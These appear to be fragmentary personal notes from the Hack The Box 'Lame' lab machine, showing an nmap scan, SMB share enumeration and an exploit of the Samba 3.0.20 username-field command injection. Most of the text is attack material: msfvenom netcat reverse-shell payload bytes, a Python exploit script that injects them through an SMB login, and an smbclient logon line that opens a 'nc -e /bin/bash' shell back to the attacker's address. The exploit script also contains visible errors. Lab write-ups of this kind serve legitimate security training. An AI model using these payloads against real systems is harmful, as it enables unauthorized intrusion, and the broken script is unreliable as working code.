SAMBA 3.0.20 EXLPOIT

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

| STAT:

| FTP server status:

| Connected to 10.10.14.16

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| vsFTPd 2.3.4 - secure, fast, stable

|_End of status

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

| ssh-hostkey:

| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: -3d00h55m29s, deviation: 2h49m45s, median: -3d02h55m31s

| smb-os-discovery:

| OS: Unix (Samba 3.0.20-Debian)

| Computer name: lame

| NetBIOS computer name:

| Domain name: hackthebox.gr

| FQDN: lame.hackthebox.gr

```
|_  System time: 2020-06-17T07:35:35-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
root@kali:/home/kali/Desktop/hackthebox/lame# smbclient -L lame.htb
root@kali:/home/kali/Desktop/hackthebox/lame# smbclient //lame.htb/tmp
root@kali:/home/kali/Desktop/hackthebox/lame# msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.16 LPORT=9999 -f python
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 89 bytes
Final size of python file: 444 bytes
buf =  b""
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x62"
buf += b"\x7a\x74\x6f\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30"
buf += b"\x2e\x31\x34\x2e\x31\x36\x20\x39\x39\x39\x39\x20\x30"
buf += b"\x3c\x2f\x74\x6d\x70\x2f\x62\x7a\x74\x6f\x20\x7c\x20"
buf += b"\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70"
buf += b"\x2f\x62\x7a\x74\x6f\x20\x32\x3e\x26\x31\x3b\x20\x72"
buf += b"\x6d\x20\x2f\x74\x6d\x70\x2f\x62\x7a\x74\x6f"
root@kali:/home/kali/Desktop/hackthebox/lame# cat exploit.py
from.smb.Connection import SMBConnection


buf =  b""
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x62"
buf += b"\x7a\x74\x6f\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30"
buf += b"\x2e\x31\x34\x2e\x31\x36\x20\x39\x39\x39\x39\x20\x30"
buf += b"\x3c\x2f\x74\x6d\x70\x2f\x62\x7a\x74\x6f\x20\x7c\x20"
buf += b"\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70"
buf += b"\x2f\x62\x7a\x74\x6f\x20\x32\x3e\x26\x31\x3b\x20\x72"
```

```
buf += b"\x6d\x20\x2f\x74\x6d\x70\x2f\x62\x7a\x74\x6f"


username = "/='nohup " + buff + "'"

password = ""

server_ip = "10.10.10.3"


conn = SMBConnection(username, password, "akg" , "akg", use_ntlm_v2 = False)

conn.connect(server_ip, 445)

root@kali:/home/kali# nc -nvlp 9999

 Share Enumeration on lame.htb    |

 ====================================

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.


      Sharename       Type     Comment

      ---------       ----     -------

      print$          Disk     Printer Drivers

      tmp             Disk     oh noes!

      opt             Disk

      IPC$            IPC      IPC Service (lame server (Samba 3.0.20-Debian))

      ADMIN$          IPC      IPC Service (lame server (Samba 3.0.20-Debian))

root@kali:/home/kali/Desktop/htb/lame# smbclient //lame.htb/tmp

smb: \> logon "./=`nohup nc -e /bin/bash 10.10.14.27 4444`"

root@kali:/home/kali# nc -nlvp 4444
```